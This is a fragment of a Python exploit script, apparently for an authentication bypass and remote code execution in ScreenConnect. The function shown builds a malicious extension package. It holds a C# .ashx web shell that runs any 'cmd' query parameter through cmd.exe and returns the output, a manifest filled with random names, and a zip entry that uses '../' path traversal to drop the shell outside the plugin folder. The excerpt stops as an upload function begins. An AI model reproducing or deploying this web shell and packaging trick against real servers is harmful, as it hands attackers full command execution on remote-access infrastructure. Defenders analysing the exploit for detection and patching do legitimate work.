Function CreateExtension

ScreenConnect-AuthBypass-RCE.py:44–96

()

        return None

def CreateExtension():
    payload_data = f''&#x27;<% @ WebHandler Language="C#" Class="{payload_handler_class}" %>
using System;
using System.Web;
using System.Diagnostics;
public class {payload_handler_class} : IHttpHandler
{{
    public void ProcessRequest(HttpContext ctx)
    {{
        string command = ctx.Request.QueryString["cmd"];
        if (!string.IsNullOrEmpty(command))
        {{
            ExecuteCommand(command, ctx);
        }}
        else
        {{
            ctx.Response.ContentType = "text/plain";
        }}
    }}
    private void ExecuteCommand(string cmd, HttpContext ctx)
    {{
        ProcessStartInfo {payload_psi_var} = new ProcessStartInfo();
        {payload_psi_var}.FileName = "cmd.exe";
        {payload_psi_var}.Arguments = $"/c {{cmd}}";
        {payload_psi_var}.RedirectStandardOutput = true;
        {payload_psi_var}.UseShellExecute = false;
        using (Process process = new Process())
        {{
            process.StartInfo = {payload_psi_var};
            process.Start();
            string output = process.StandardOutput.ReadToEnd();
            process.WaitForExit();
            ctx.Response.ContentType = "text/plain";
            ctx.Response.Write(output);
        }}
    }}
    public bool IsReusable {{ get {{ return true; }} }}
}}''&#x27;
    manifest_data = f''&#x27;<?xml version="1.0" encoding="utf-8"?>
<ExtensionManifest>
  <Version>1</Version>
  <Name>{rand_text_alpha_lower(8)}</Name>
  <Author>{rand_text_alpha_lower(8)}</Author>
  <ShortDescription>{rand_text_alpha_lower(8)}</ShortDescription>
  <LoadMessage>null</LoadMessage>
  <Components>
    <WebServiceReference SourceFile="{payload_ashx}"/>
  </Components>
</ExtensionManifest>''&#x27;
    zip_resources = zipfile.ZipFile("resources.zip", 'w')
    zip_resources.writestr(f"{plugin_guid}/Manifest.xml", manifest_data)
    zip_resources.writestr(f"{plugin_guid}/../{payload_ashx}", payload_data)
    zip_resources.close()

def UploadExtension(url, anti_forgery_token):
    with open("resources.zip", "rb") as f: